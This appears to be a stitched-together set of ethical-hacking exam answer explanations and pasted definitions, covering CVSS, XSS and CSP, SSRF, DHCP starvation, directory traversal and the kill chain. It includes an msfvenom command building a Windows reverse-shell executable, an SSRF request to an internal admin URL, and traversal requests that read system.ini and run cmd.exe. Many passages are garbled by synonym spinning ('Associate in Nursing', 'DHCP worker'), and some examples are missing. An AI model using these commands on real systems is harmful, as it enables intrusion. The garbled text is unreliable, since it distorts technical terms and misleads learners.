User-directed spidering is a technique that allows the hacker to manually browse the target website and use a proxy or spider tool to capture and analyze the traffic. This way, the hacker can discover hidden or dynamic content that standard web spiders may miss due to a specific file in the root directory, such as robots.txt, that instructs them not to crawl certain pages or directories. User-directed spidering can also help the hacker to bypass authentication or authorization mechanisms, as well as identify vulnerabilities or sensitive information in the target website. User-directed spidering can be performed with tools like Burp Suite and WebScarab, which are web application security testing tools that can intercept, modify, and replay HTTP requests and responses, as well as perform various attacks and scans on the target website.

The other options are not likely to achieve the same results as user-directed spidering. Using Photon to retrieve archived URLs of the target website from archive.org may provide some historical information about the website, but it may not reflect the current state or content of the website. Using the Netcraft tool to gather website information may provide some general information about the website, such as its IP address, domain name, server software, or hosting provider, but it may not reveal the specific files or web pages on the website. Examining HTML source code and cookies may provide some clues about the website’s structure, functionality, or user preferences, but it may not expose the hidden or dynamic content that user-directed spidering can discover. References:

• User Directed Spidering with Burp
• Web Spidering - What Are Web Crawlers & How to Control Them
• Web Security: Recon
• Mapping the Application for Penetrating Web Applications — 1

One of the most important actions to secure a web server from common threats is to regularly update and patch the server software. This includes the operating system, the web server software, the database software, and any other applications or frameworks that run on the server. Updating and patching the server software can fix known vulnerabilities, bugs, or errors that could be exploited by attackers to compromise the server or the website. Failing to update and patch the server software can expose the server to common attacks, such as SQL injection, cross-site scripting, remote code execution, denial-of-service, etc.

Installing a web application firewall, limiting the number of concurrent connections to the server, and encrypting the company’s website with SSL/TLS are also good practices to secure a web server, but they are not as critical as updating and patching the server software. A web application firewall can filter and block malicious requests, but it cannot prevent attacks that exploit unpatched vulnerabilities in the server software. Limiting the number of concurrent connections to the server can prevent overload and improve performance, but it cannot stop attackers from sending malicious requests or payloads. Encrypting the company’s website with SSL/TLS can protect the data in transit between the server and the client, but it cannot protect the data at rest on the server or prevent attacks that target the server itself.

Therefore, the priority action to secure a web server from common threats is to regularly update and patch the server software.

References:

• Web Server Security- Beginner’s Guide - Astra Security Blog
• Top 10 Web Server Security Best Practices | Liquid Web
• 21 Server Security Tips & Best Practices To Secure Your Server - phoenixNAP

The base metric represents the inherent qualities of a vulnerability, according to the Common Vulnerability Scoring System (CVSS). CVSS is a framework that numerically characterizes the severity of software vulnerabilities between the range of 0-10. CVSS consists of three metric groups: Base, Temporal, and Environmental. The base metric group captures the characteristics of a vulnerability that are constant over time and across user environments. The base metric group consists of six sub-metrics: Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and Impact. The impact sub-metric further consists of three sub-metrics: Confidentiality, Integrity, and Availability. The base metric group produces a score ranging from 0 to 10, which reflects the intrinsic and fundamental properties of a vulnerability12.

The other options are not correct for the following reasons:

• A. Temporal metric represents the inherent qualities of a vulnerability: This option is incorrect because the temporal metric group captures the characteristics of a vulnerability that change over time due to events external to the vulnerability. The temporal metric group consists of three sub-metrics: Exploit Code Maturity, Remediation Level, and Report Confidence. The temporal metric group modifies the base score to reflect the current state of the vulnerability, such as the availability of exploit code, the existence of patches or workarounds, and the degree of verification of the vulnerability report12.
• C. Environmental metric involves the features that change during the lifetime of the vulnerability: This option is incorrect because the environmental metric group captures the characteristics of a vulnerability that are relevant and unique to a user’s environment. The environmental metric group consists of three sub-metrics: Modified Attack Vector, Modified Attack Complexity, and Modified Privileges Required. The environmental metric group also allows the user to assign importance values to the impact sub-metrics: Confidentiality Requirement, Integrity Requirement, and Availability Requirement. The environmental metric group modifies the base and temporal scores to reflect the impact of the vulnerability on the user’s specific environment, such as the network configuration, the security objectives, and the asset value12.
• D. Temporal metric involves measuring vulnerabilities based on a specific environment or implementation: This option is incorrect because the temporal metric group does not involve measuring vulnerabilities based on a specific environment or implementation, but rather on the factors that change over time due to events external to the vulnerability. The environmental metric group, not the temporal metric group, involves measuring vulnerabilities based on a specific environment or implementation, as explained in option C.

References:

• 1: What is CVSS - Common Vulnerability Scoring System - SANS Institute
• 2: Common Vulnerability Scoring System - Wikipedia

The hacker’s next step to confirm the XSS vulnerability would be to utilize a script hosted on the application’s domain to test the form. This is because the application’s CSP allows scripts from its own domain, but not from inline or external sources. Therefore, the hacker can try to inject a payload that references a script file on the same domain as the application, such as:

where script.js contains some benign code, such as alert('XSS') or print('XSS'). If the script executes in the browser, then the hacker has confirmed the XSS vulnerability. Otherwise, the CSP has blocked the script and prevented the XSS attack.

The other options are not feasible or effective for the following reasons:

• A. Try to disable the CSP to bypass script restrictions: This option is not feasible because the hacker cannot disable the CSP on the server side, and the browser enforces the CSP on the client side. The hacker would need to modify the browser settings or use a browser extension to disable the CSP, but this would not affect the victim’s browser or the application’s security.
• B. Inject a benign script inline to the form to see if it executes: This option is not effective because the application’s CSP disallows inline scripts, meaning scripts that are embedded in the HTML code. Therefore, the hacker would not be able to inject a script tag or an event handler attribute that contains some code, such as:

 or 

The CSP would block these scripts and prevent the XSS attack.

• D. Load a script from an external domain to test the vulnerability: This option is not effective because the application’s CSP disallows scripts from external domains, meaning scripts that are loaded from a different domain than the application. Therefore, the hacker would not be able to inject a script tag that references a script file on another domain, such as:

The CSP would block these scripts and prevent the XSS attack.

References:

• 1: Content Security Policy (CSP) - HTTP | MDN
• 2: What is Content Security Policy (CSP) | Header Examples | Imperva
• 3: Content-Security-Policy (CSP) Header Quick Reference
• 4: What is cross-site scripting (XSS)? - PortSwigger
• 5: Cross Site Scripting (XSS) | OWASP Foundation
• 6: The Impact of Cross-Site Scripting Vulnerabilities and their Prevention
• 7: XSS Vulnerability 101: Identify and Stop Cross-Site Scripting

https://en.wikipedia.org/wiki/Public-key_cryptography

Public-key cryptography, or asymmetric cryptography, is a cryptographic system that uses pairs of keys: public keys (which may be known to others), and private keys (which may never be known by any except the owner). The generation of such key pairs depends on cryptographic algorithms which are based on mathematical problems termed one-way functions. Effective security requires keeping the private key private; the public key can be openly distributed without compromising security.

In such a system, any person can encrypt a message using the intended receiver's public key, but that encrypted message can only be decrypted with the receiver's private key. This allows, for instance, a server program to generate a cryptographic key intended for a suitable symmetric-key cryptography, then to use a client's openly-shared public key to encrypt that newly generated symmetric key. The server can then send this encrypted symmetric key over an insecure channel to the client; only the client can decrypt it using the client's private key (which pairs with the public key used by the server to encrypt the message). With the client and server both having the same symmetric key, they can safely use symmetric key encryption (likely much faster) to communicate over otherwise-insecure channels. This scheme has the advantage of not having to manually pre-share symmetric keys (a fundamentally difficult problem) while gaining the higher data throughput advantage of symmetric-key cryptography.

With public-key cryptography, robust authentication is also possible. A sender can combine a message with a private key to create a short digital signature on the message. Anyone with the sender's corresponding public key can combine that message with a claimed digital signature; if the signature matches the message, the origin of the message is verified (i.e., it must have been made by the owner of the corresponding private key).

Public key algorithms are fundamental security primitives in modern cryptosystems, including applications and protocols which offer assurance of the confidentiality, authenticity and non-repudiability of electronic communications and data storage. They underpin numerous Internet standards, such as Transport Layer Security (TLS), S/MIME, PGP, and GPG. Some public key algorithms provide key distribution and secrecy (e.g., Diffie–Hellman key exchange), some provide digital signatures (e.g., Digital Signature Algorithm), and some provide both (e.g., RSA). Compared to symmetric encryption, asymmetric encryption is rather slower than good symmetric encryption, too slow for many purposes. Today's cryptosystems (such as TLS, Secure Shell) use both symmetric encryption and asymmetric encryption.

Server-side request forgery (also called SSRF) is a net security vulnerability that allows an assaulter to induce the server-side application to make http requests to associate arbitrary domain of the attacker’s choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services among the organization’s infrastructure, or to external third-party systems.

Another type of trust relationship that often arises with server-side request forgery is where the application server is able to interact with different back-end systems that aren’t directly reachable by users. These systems typically have non-routable private informatics addresses. Since the back-end systems normally ordinarily protected by the topology, they typically have a weaker security posture. In several cases, internal back-end systems contain sensitive functionality that may be accessed while not authentication by anyone who is able to act with the systems.

In the preceding example, suppose there’s an body interface at the back-end url https://192.168.0.68/admin. Here, an attacker will exploit the SSRF vulnerability to access the executive interface by submitting the following request:

POST /product/stock HTTP/1.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

stockApi=http://192.168.0.68/admin

Vulnerability-Management Life Cycle The vulnerability management life cycle is an important process that helps identify and remediate security weaknesses before they can be exploited. 4.Remediation - applying fixes on vulnerable systems in order to reduce the impact and severity of vulnerabilities. (P.515/499)

Replay Attack could be a variety of security attack to the info sent over a network.In this attack, the hacker or a person with unauthorized access, captures the traffic and sends communication to its original destination, acting because the original sender. The receiver feels that it’s Associate in Nursing genuine message however it’s really the message sent by the aggressor. the most feature of the Replay Attack is that the consumer would receive the message double, thence the name, Replay Attack.

Prevention from Replay Attack : 1. Timestamp technique –Prevention from such attackers is feasible, if timestamp is employed at the side of the info. Supposedly, the timestamp on an information is over a precise limit, it may be discarded, and sender may be asked to send the info once more.2. Session key technique –Another way of hindrance, is by victimisation session key. This key may be used one time (by sender and receiver) per dealing, and can’t be reused.

The official management decision given by a senior agency official to authorize operation of an information system and to explicitly accept the risk to agency operations (including mission, functions, image, or reputation), agency assets, or individuals, based on the implementation of an agreed-upon set of security controls.

formal declaration by a designated accrediting authority (DAA) or principal accrediting authority (PAA) that an information system is approved to operate at an acceptable level of risk, based on the implementation of an approved set of technical, managerial, and procedural safeguards. See authorization to operate (ATO). Rationale: The Risk Management Framework uses a new term to refer to this concept, and it is called authorization.

Identifies the information resources covered by an accreditation decision, as distinguished from separately accredited information resources that are interconnected or with which information is exchanged via messaging. Synonymous with Security Perimeter.

For the purposes of identifying the Protection Level for confidentiality of a system to be accredited, the system has a conceptual boundary that extends to all intended users of the system, both directly and indirectly connected, who receive output from the system. See authorization boundary. Rationale: The Risk Management Framework uses a new term to refer to the concept of accreditation, and it is called authorization. Extrapolating, the accreditation boundary would then be referred to as the authorization boundary.

The Sarbanes-Oxley Act of 2002 could be a law the U.S. Congress passed on July thirty of that year to assist defend investors from fallacious money coverage by companies.Also called the SOX Act of 2002 and also the company Responsibility Act of 2002, it mandated strict reforms to existing securities rules and obligatory powerful new penalties on law breakers.

The Sarbanes-Oxley law Act of 2002 came in response to money scandals within the early 2000s involving in public listed corporations like Enron Corporation, Tyco International plc, and WorldCom. The high-profile frauds cask capitalist confidence within the trustiness of company money statements Associate in Nursingd light-emitting diode several to demand an overhaul of decades-old restrictive standards.

The VRFY commands enables SMTP clients to send an invitation to an SMTP server to verify that mail for a selected user name resides on the server. The VRFY command is defined in RFC 821.The server sends a response indicating whether the user is local or not, whether mail are going to be forwarded, and so on. A response of 250 indicates that the user name is local; a response of 251 indicates that the user name isn’t local, but the server can forward the message. The server response includes the mailbox name.

https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

Often one of the most useful (and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address (LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.

Example for Windows:

- msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

https://ru.wikipedia.org/wiki/DNS_spoofing

DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic. Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.

- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their chance of success.

- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

A stealth virus may be a sort of virus malware that contains sophisticated means of avoiding detection by antivirus software. After it manages to urge into the now-infected machine a stealth viruses hides itself by continually renaming and moving itself round the disc.Like other viruses, a stealth virus can take hold of the many parts of one’s PC. When taking control of the PC and performing tasks, antivirus programs can detect it, but a stealth virus sees that coming and can rename then copy itself to a special drive or area on the disc, before the antivirus software. Once moved and renamed a stealth virus will usually replace the detected ‘infected’ file with a clean file that doesn’t trigger anti-virus detection. It’s a never-ending game of cat and mouse.The intelligent architecture of this sort of virus about guarantees it’s impossible to completely rid oneself of it once infected. One would need to completely wipe the pc and rebuild it from scratch to completely eradicate the presence of a stealth virus. Using regularly-updated antivirus software can reduce risk, but, as we all know, antivirus software is additionally caught in an endless cycle of finding new threats and protecting against them.

https://www.techslang.com/definition/what-is-a-stealth-virus/

TCP port 48101 uses the Transmission management Protocol. transmission control protocol is one in all the most protocols in TCP/IP networks. transmission control protocol could be a connection-oriented protocol, it needs acknowledgement to line up end-to-end communications. only a association is about up user’s knowledge may be sent bi-directionally over the association.

Attention! transmission control protocol guarantees delivery of knowledge packets on port 48101 within the same order during which they were sent. bonded communication over transmission control protocol port 48101 is that the main distinction between transmission control protocol and UDP. UDP port 48101 wouldn’t have bonded communication as transmission control protocol.

UDP on port 48101 provides Associate in Nursing unreliable service and datagrams might arrive duplicated, out of order, or missing unexpectedly. UDP on port 48101 thinks that error checking and correction isn’t necessary or performed within the application, avoiding the overhead of such process at the network interface level.

UDP (User Datagram Protocol) could be a borderline message-oriented Transport Layer protocol (protocol is documented in IETF RFC 768).

Application examples that always use UDP: vocalisation IP (VoIP), streaming media and period multiplayer games. several internet applications use UDP, e.g. the name System (DNS), the Routing info Protocol (RIP), the Dynamic Host Configuration Protocol (DHCP), the straightforward Network Management Protocol (SNMP).

Dragonblood allows an attacker in range of a password-protected Wi-Fi network to get the password and gain access to sensitive information like user credentials, emails and mastercard numbers. consistent with the published report:“The WPA3 certification aims to secure Wi-Fi networks, and provides several advantages over its predecessor WPA2, like protection against offline dictionary attacks and forward secrecy. Unfortunately, we show that WPA3 is suffering from several design flaws, and analyze these flaws both theoretically and practically. Most prominently, we show that WPA3’s Simultaneous Authentication of Equals (SAE) handshake, commonly referred to as Dragonfly, is suffering from password partitioning attacks.”Our Wi-Fi researchers at WatchGuard are educating businesses globally that WPA3 alone won’t stop the Wi-Fi hacks that allow attackers to steal information over the air (learn more in our recent blog post on the topic). These Dragonblood vulnerabilities impact alittle amount of devices that were released with WPA3 support, and makers are currently making patches available. one among the most important takeaways for businesses of all sizes is to know that a long-term fix might not be technically feasible for devices with lightweight processing capabilities like IoT and embedded systems. Businesses got to consider adding products that enable a Trusted Wireless Environment for all kinds of devices and users alike.Recognizing that vulnerabilities like KRACK and Dragonblood require attackers to initiate these attacks by bringing an “Evil Twin” Access Point or a Rogue Access Point into a Wi-Fi environment, we’ve been that specialize in developing Wi-Fi security solutions that neutralize these threats in order that these attacks can never occur. The Trusted Wireless Environment framework protects against the “Evil Twin” Access Point and Rogue Access Point. one among these hacks is required to initiate the 2 downgrade or side-channel attacks referenced in Dragonblood.What’s next? WPA3 is an improvement over WPA2 Wi-Fi encryption protocol, however, as we predicted, it still doesn’t provide protection from the six known Wi-Fi threat categories. It’s highly likely that we’ll see more WPA3 vulnerabilities announced within the near future.To help reduce Wi-Fi vulnerabilities, we’re asking all of you to hitch the Trusted Wireless Environment movement and advocate for a worldwide security standard for Wi-Fi.

Out-of-band SQL injection occurs when an attacker is unable to use an equivalent channel to launch the attack and gather results. … Out-of-band SQLi techniques would believe the database server’s ability to form DNS or HTTP requests to deliver data to an attacker. Out-of-band SQL injection is not very common, mostly because it depends on features being enabled on the database server being used by the web application. Out-of-band SQL injection occurs when an attacker is unable to use the same channel to launch the attack and gather results.

Out-of-band techniques, offer an attacker an alternative to inferential time-based techniques, especially if the server responses are not very stable (making an inferential time-based attack unreliable).

Out-of-band SQLi techniques would rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls; as well as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an attacker controls.

The php.ini file may be a special file for PHP. it’s where you declare changes to your PHP settings. The server is already configured with standard settings for PHP, which your site will use by default. Unless you would like to vary one or more settings, there’s no got to create or modify a php.ini file. If you’d wish to make any changes to settings, please do so through the MultiPHP INI Editor.

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An iPhone client’s most noticeably terrible bad dream is to have somebody oversee his/her gadget, including the capacity to record and control all action without waiting be in a similar room. In this blog entry, we present another weakness called “Trustjacking”, which permits an aggressor to do precisely that.

This weakness misuses an iOS highlight called iTunes Wi-Fi sync, which permits a client to deal with their iOS gadget without genuinely interfacing it to their PC. A solitary tap by the iOS gadget proprietor when the two are associated with a similar organization permits an assailant to oversee the gadget. Furthermore, we will stroll through past related weaknesses and show the progressions that iPhone has made to alleviate them, and why these are adequately not to forestall comparative assaults.

After interfacing an iOS gadget to another PC, the clients are being found out if they trust the associated PC or not. Deciding to believe the PC permits it to speak with the iOS gadget by means of the standard iTunes APIs.

This permits the PC to get to the photographs on the gadget, perform reinforcement, introduce applications and considerably more, without requiring another affirmation from the client and with no recognizable sign. Besides, this permits enacting the “iTunes Wi-Fi sync” highlight, which makes it conceivable to proceed with this sort of correspondence with the gadget even after it has been detached from the PC, as long as the PC and the iOS gadget are associated with a similar organization. It is intriguing to take note of that empowering “iTunes Wi-Fi sync” doesn’t need the casualty’s endorsement and can be directed simply from the PC side.

Getting a live stream of the gadget’s screen should be possible effectively by consistently requesting screen captures and showing or recording them distantly.

It is imperative to take note of that other than the underlying single purpose of disappointment, approving the vindictive PC, there is no other component that forestalls this proceeded with access. Likewise, there isn’t anything that informs the clients that by approving the PC they permit admittance to their gadget even in the wake of detaching the USB link.

The TPM is a chip that's part of your computer's motherboard — if you bought an off-the-shelf PC, it's soldered onto the motherboard. If you built your own computer, you can buy one as an add-on module if your motherboard supports it. The TPM generates encryption keys, keeping part of the key to itself

Hootsuite may be a social media management platform that covers virtually each side of a social media manager’s role.

With only one platform users area unit ready to do the easy stuff like reverend cool content and schedule posts on social media in all the high to managing team members and measure ROI.

There area unit many totally different plans to decide on from, from one user set up up to a bespoken enterprise account that’s appropriate for much larger organizations.

Conducting location search on social media sites such as Twitter, Instagram, and Facebook helps attackers to detect the geolocation of the target. This information further helps attackers to perform various social engineering and non-technical attacks. Many online tools such as Followerwonk, Hootsuite, and Sysomos are available to search for both geotagged and non-geotagged information on social media sites. Attackers search social media sites using these online tools using keywords, usernames, date, time, and so on...

A DHCP starvation assault is a pernicious computerized assault that objectives DHCP workers. During a DHCP assault, an unfriendly entertainer floods a DHCP worker with false DISCOVER bundles until the DHCP worker debilitates its stock of IP addresses. When that occurs, the aggressor can deny genuine organization clients administration, or even stock an other DHCP association that prompts a Man-in-the-Middle (MITM) assault.

In a DHCP Starvation assault, a threatening entertainer sends a huge load of false DISCOVER parcels until the DHCP worker thinks they’ve used their accessible pool. Customers searching for IP tends to find that there are no IP addresses for them, and they’re refused assistance. Furthermore, they may search for an alternate DHCP worker, one which the unfriendly entertainer may give. What’s more, utilizing a threatening or sham IP address, that unfriendly entertainer would now be able to peruse all the traffic that customer sends and gets.

In an unfriendly climate, where we have a malevolent machine running some sort of an instrument like Yersinia, there could be a machine that sends DHCP DISCOVER bundles. This malevolent customer doesn’t send a modest bunch – it sends a great many vindictive DISCOVER bundles utilizing sham, made-up MAC addresses as the source MAC address for each solicitation.

In the event that the DHCP worker reacts to every one of these false DHCP DISCOVER parcels, the whole IP address pool could be exhausted, and that DHCP worker could trust it has no more IP delivers to bring to the table to legitimate DHCP demands.

When a DHCP worker has no more IP delivers to bring to the table, ordinarily the following thing to happen would be for the aggressor to get their own DHCP worker. This maverick DHCP worker at that point starts giving out IP addresses.

The advantage of that to the assailant is that if a false DHCP worker is distributing IP addresses, including default DNS and door data, customers who utilize those IP delivers and begin to utilize that default passage would now be able to be directed through the aggressor’s machine. That is all that an unfriendly entertainer requires to play out a man-in-the-center (MITM) assault.

Docker uses a client-server design. The docker client talks to the docker daemon, that will the work of building, running, and distributing your docker containers. The docker client and daemon will run on the same system, otherwise you will connect a docker consumer to a remote docker daemon. The docker consumer and daemon communicate using a REST API, over OS sockets or a network interface.

The docker daemon (dockerd) listens for docker API requests and manages docker objects like pictures, containers, networks, and volumes. A daemon may communicate with other daemons to manage docker services.

Windows TTL 128, Linux TTL 64, OpenBSD 255 ... https://subinsb.com/default-device-ttl-values/

Time to Live (TTL) represents to number of 'hops' a packet can take before it is considered invalid. For Windows/Windows Phone, this value is 128. This value is 64 for Linux/Android.

The host-based vulnerability assessment (VA) resolution arose from the auditors’ got to periodically review systems. Arising before the net becoming common, these tools typically take an “administrator’s eye” read of the setting by evaluating all of the knowledge that an administrator has at his or her disposal.

UsesHost VA tools verify system configuration, user directories, file systems, registry settings, and all forms of other info on a number to gain information about it. Then, it evaluates the chance of compromise. it should also live compliance to a predefined company policy so as to satisfy an annual audit. With administrator access, the scans area unit less possible to disrupt traditional operations since the computer code has the access it has to see into the complete configuration of the system.

What it Measures Host

VA tools will examine the native configuration tables and registries to spot not solely apparent vulnerabilities, however additionally “dormant” vulnerabilities – those weak or misconfigured systems and settings which will be exploited when an initial entry into the setting. Host VA solutions will assess the safety settings of a user account table; the access management lists related to sensitive files or data; and specific levels of trust applied to other systems. The host VA resolution will a lot of accurately verify the extent of the danger by determinant however way any specific exploit could also be ready to get.

Types of Vulnerability Assessment Host-based assessments are a type of security check that involve conducting a configuration-level check to identify system configurations, user directories, file systems, registry settings, and other parameters to evaluate the possibility of compromise. 
Host-based scanners assess systems to identify vulnerabilities such as native configuration tables, incorrect registry or file permissions, and software configuration errors. (P.528/512)

Appropriately controlling admittance to web content is significant for running a safe web worker. Index crossing or Path Traversal is a HTTP assault which permits aggressors to get to limited catalogs and execute orders outside of the web worker’s root registry.

Web workers give two primary degrees of security instruments

• Access Control Lists (ACLs)
• Root index

An Access Control List is utilized in the approval cycle. It is a rundown which the web worker’s manager uses to show which clients or gatherings can get to, change or execute specific records on the worker, just as other access rights.

The root registry is a particular index on the worker record framework in which the clients are kept. Clients can’t get to anything over this root.

For instance: the default root registry of IIS on Windows is C:\Inetpub\wwwroot and with this arrangement, a client doesn’t approach C:\Windows yet approaches C:\Inetpub\wwwroot\news and some other indexes and documents under the root catalog (given that the client is confirmed by means of the ACLs).

The root index keeps clients from getting to any documents on the worker, for example, C:\WINDOWS/system32/win.ini on Windows stages and the/and so on/passwd record on Linux/UNIX stages.

This weakness can exist either in the web worker programming itself or in the web application code.

To play out a registry crossing assault, all an assailant requires is an internet browser and some information on where to aimlessly discover any default documents and registries on the framework.

What an assailant can do if your site is defenselessWith a framework defenseless against index crossing, an aggressor can utilize this weakness to venture out of the root catalog and access different pieces of the record framework. This may enable the assailant to see confined documents, which could give the aggressor more data needed to additional trade off the framework.

Contingent upon how the site access is set up, the aggressor will execute orders by mimicking himself as the client which is related with “the site”. Along these lines everything relies upon what the site client has been offered admittance to in the framework.

Illustration of a Directory Traversal assault by means of web application codeIn web applications with dynamic pages, input is generally gotten from programs through GET or POST solicitation techniques. Here is an illustration of a HTTP GET demand URL

GET http://test.webarticles.com/show.asp?view=oldarchive.html HTTP/1.1

Host: test.webarticles.com

With this URL, the browser requests the dynamic page show.asp from the server and with it also sends the parameter view with the value of oldarchive.html. When this request is executed on the web server, show.asp retrieves the file oldarchive.html from the server’s file system, renders it and then sends it back to the browser which displays it to the user. The attacker would assume that show.asp can retrieve files from the file system and sends the following custom URL.

GET http://test.webarticles.com/show.asp?view=../../../../../Windows/system.ini HTTP/1.1

Host: test.webarticles.com

This will cause the dynamic page to retrieve the file system.ini from the file system and display it to the user. The expression ../ instructs the system to go one directory up which is commonly used as an operating system directive. The attacker has to guess how many directories he has to go up to find the Windows folder on the system, but this is easily done by trial and error.

Example of a Directory Traversal attack via web serverApart from vulnerabilities in the code, even the web server itself can be open to directory traversal attacks. The problem can either be incorporated into the web server software or inside some sample script files left available on the server.

The vulnerability has been fixed in the latest versions of web server software, but there are web servers online which are still using older versions of IIS and Apache which might be open to directory traversal attacks. Even though you might be using a web server software version that has fixed this vulnerability, you might still have some sensitive default script directories exposed which are well known to hackers.

For example, a URL request which makes use of the scripts directory of IIS to traverse directories and execute a command can be

GET http://server.com/scripts/..%5c../Windows/System32/cmd.exe?/c+dir+c:\ HTTP/1.1

Host: server.com

The request would return to the user a list of all files in the C:\ directory by executing the cmd.exe command shell file and run the command dir c:\ in the shell. The %5c expression that is in the URL request is a web server escape code which is used to represent normal characters. In this case %5c represents the character \.

Newer versions of modern web server software check for these escape codes and do not let them through. Some older versions however, do not filter out these codes in the root directory enforcer and will let the attackers execute such commands.

Webhooks are one of a few ways internet applications will communicate with one another.

It allows you to send real-time data from one application to another whenever a given event happens.

For example, let’s say you’ve created an application using the Foursquare API that tracks when people check into your restaurant. You ideally wish to be able to greet customers by name and provide a complimentary drink when they check in.

What a webhook will is notify you any time someone checks in, therefore you’d be able to run any processes that you simply had in your application once this event is triggered.

The data is then sent over the web from the application wherever the event originally occurred, to the receiving application that handles the data.

Here’s a visual representation of what that looks like:

A webhook url is provided by the receiving application, and acts as a phone number that the other application will call once an event happens.

Only it’s more complicated than a phone number, because data about the event is shipped to the webhook url in either JSON or XML format. this is known as the “payload.”

Here’s an example of what a webhook url looks like with the payload it’s carrying:

What are Webhooks? Webhooks are user-defined HTTP callback or push APIs that are raised based on events triggered, such as comment received on a post and pushing code to the registry. A webhook allows an application to update other applications with the latest information. Once invoked, it supplies data to the other applications, which means that users instantly receive real-time information. Webhooks are sometimes called “Reverse APIs” as they provide what is required for API specification, and the developer should create an API to use a webhook. A webhook is an API concept that is also used to send text messages and notifications to mobile numbers or email addresses from an application when a specific event is triggered. For instance, if you search for something in the online store and the required item is out of stock, you click on the “Notify me” bar to get an alert from the application when that item is available for purchase. These notifications from the applications are usually sent through webhooks.

Weaponization

The adversary analyzes the data collected in the previous stage to identify the

vulnerabilities and techniques that can exploit and gain unauthorized access to the

target organization. Based on the vulnerabilities identified during analysis, the adversary

selects or creates a tailored deliverable malicious payload (remote-access malware

weapon) using an exploit and a backdoor to send it to the victim. An adversary may

target specific network devices, operating systems, endpoint devices, or even

individuals within the organization to carry out their attack. For example, the adversary

may send a phishing email to an employee of the target organization, which may include a malicious attachment such as a virus or worm that, when downloaded, installs a backdoor on the system that allows remote access to the adversary. The following are the activities of the adversary: o Identifying appropriate malware payload based on the analysis o Creating a new malware payload or selecting, reusing, modifying the available malware payloads based on the identified vulnerability

o Creating a phishing email campaign o Leveraging exploit kits and botnets

https://en.wikipedia.org/wiki/Kill_chain

The Cyber Kill Chain consists of 7 steps: Reconnaissance, weaponization, delivery, exploitation, installation, command and control, and finally, actions on objectives. Below you can find detailed information on each.

1. Reconnaissance: In this step, the attacker/intruder chooses their target. Then they conduct in-depth research on this target to identify its vulnerabilities that can be exploited.

2. Weaponization: In this step, the intruder creates a malware weapon like a virus, worm, or such to exploit the target's vulnerabilities. Depending on the target and the purpose of the attacker, this malware can exploit new, undetected vulnerabilities (also known as the zero-day exploits) or focus on a combination of different vulnerabilities.

3. Delivery: This step involves transmitting the weapon to the target. The intruder/attacker can employ different USB drives, e-mail attachments, and websites for this purpose.

4. Exploitation: In this step, the malware starts the action. The program code of the malware is triggered to exploit the target’s vulnerability/vulnerabilities.

5. Installation: In this step, the malware installs an access point for the intruder/attacker. This access point is also known as the backdoor.

6. Command and Control: The malware gives the intruder/attacker access to the network/system.

7. Actions on Objective: Once the attacker/intruder gains persistent access, they finally take action to fulfill their purposes, such as encryption for ransom, data exfiltration, or even data destruction.

https://www.cisco.com/c/en/us/support/docs/ip/access-lists/26448-ACLsamples.html

Since the first line prohibits any TCP traffic (access-list 102 deny tcp any any), the lines below will simply be ignored by the router. Below you will find the example from CISCO documentation.

This figure shows that FTP (TCP, port 21) and FTP data (port 20) traffic sourced from NetB destined to NetA is denied, while all other IP traffic is permitted.

Diagram Description automatically generated

FTP uses port 21 and port 20. TCP traffic destined to port 21 and port 20 is denied and everything else is explicitly permitted.

• access-list 102 deny tcp any any eq ftp

• access-list 102 deny tcp any any eq ftp-data

• access-list 102 permit ip any any

https://en.wikipedia.org/wiki/Internet_Relay_Chat

Internet Relay Chat (IRC) is an application layer protocol that facilitates communication in text. The chat process works on a client/server networking model. IRC clients are computer programs that users can install on their system or web-based applications running either locally in the browser or on a third-party server. These clients communicate with chat servers to transfer messages to other clients.

IRC is a plaintext protocol that is officially assigned port 194, according to IANA. However, running the service on this port requires running it with root-level permissions, which is inadvisable. As a result, the well-known port for IRC is 6667, a high-number port that does not require elevated privileges. However, an IRC server can also be configured to run on other ports as well.

You can't tell if an IRC server is designed to be malicious solely based on port number. Still, if you see an IRC server running on port a WKP such as 80, 8080, 53, 443, it's almost always going to be malicious; the only real reason for IRCD to be running on port 80 is to try to evade firewalls.

https://en.wikipedia.org/wiki/Application_firewall

An application firewall is a form of firewall that controls input/output or system calls of an application or service. It operates by monitoring and blocking communications based on a configured policy, generally with predefined rule sets to choose from. The application firewall can control communications up to the OSI model's application layer, which is the highest operating layer, and where it gets its name. The two primary categories of application firewalls are network-based and host-based.

Application layer filtering operates at a higher level than traditional security appliances. This allows packet decisions to be made based on more than just source/destination IP Addresses or ports. It can also use information spanning across multiple connections for any given host.

Network-based application firewalls

